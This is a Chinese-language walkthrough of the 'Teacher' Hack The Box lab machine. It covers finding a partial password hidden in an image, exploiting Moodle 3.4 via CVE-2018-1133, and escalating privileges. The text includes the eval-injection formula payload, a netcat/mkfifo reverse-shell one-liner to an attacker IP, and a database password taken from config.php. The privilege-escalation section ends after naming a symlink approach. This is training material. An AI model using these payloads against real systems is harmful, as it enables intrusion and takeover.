1 信息收集
NMAP
服务器开启了 80 端口,访问,未发现可利用的信息,页面大多为一些HTML页面
目录扫描
/moodle
:
访问 /moodle ,页面访问失败并跳转到 teacher.htb,添加hosts重新访问,成功响应页面如下,在页面发现教师名称:Giovanni Chhatta
,除了登录框再无其他利用点。
指纹识别发现 moodle 是一个学习管理系统
,moodle 系统存在相当多的已知漏洞,知道系统版本号后可以有针对的进行漏洞探测
/images
:
观察图片类型和大小,5.png 和其他图片文件存在明显不同
其他图片都可以成功加载,但是 5.png 出现问题
检查 5.png 图片内容,文件内容显示了用户名:Giovanni
和部分密码:Th4C00lTheacha
,并且只是密码忘记了最后一个字符,那可以对密码进行暴力破解
最后一个字符为 #
,使用 Giovanni:Th4C00lTheacha#
进行登录
检查页面,发现了 moodle 的版本 3.4
2 moodle 3.4 RCE CVE-2018-1133
CVE-2018-1133
CVE-2018-1133漏洞解析地址:
https://www.sonarsource.com/blog/moodle-remote-code-execution/
1.Algebra --> ⚙️ --> Turn editing on:
2.编辑完成后点击 Save and return to course:
3.点击 test --> Edit quiz --> Add --> a new question:
4.选择 Calculated 并编辑 General:
# 数学公式
/*{a*/`$_GET[0]`;//{x}}
# 执行的 EVAL()
$str= /*{a*/`$_GET[0]`;//};
执行 ping ,ping -c 1 10.10.14.25
,tcpdump 成功获取到数据包
执行反弹 shell 命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.14.25 4444 >/tmp/f
3 横向移动 www-data – giovanni
python -c 'import pty;pty.spawn("bash")'
检查 Moodle 相关信息,发现 config.php,mysql数据库用户和密码:root:Welkom1!
连接数据库检索数据
mysql -u root -pWelkom1!
show databases;
use
giovanni
用户的hash密码是 md5 加密,解密获取到用户密码 expelled
,su 命令成功切换到 giovanni 用户
4 权限提升
pspy工具
检查脚本内容,/ur/bin/backup.sh
脚本切换到 /home/giovanni/work 目录,然后备份/courses。然后它将目录更改为 /home/giovanni/work/tmp 并将权限更改为 777。
软链接提权
检查 backup.sh 脚本权限,root权限所有,并且只有root权限可以进行修改,没办法通过直接写入脚本文件进行提权
使用软链接更改文件权限进行提权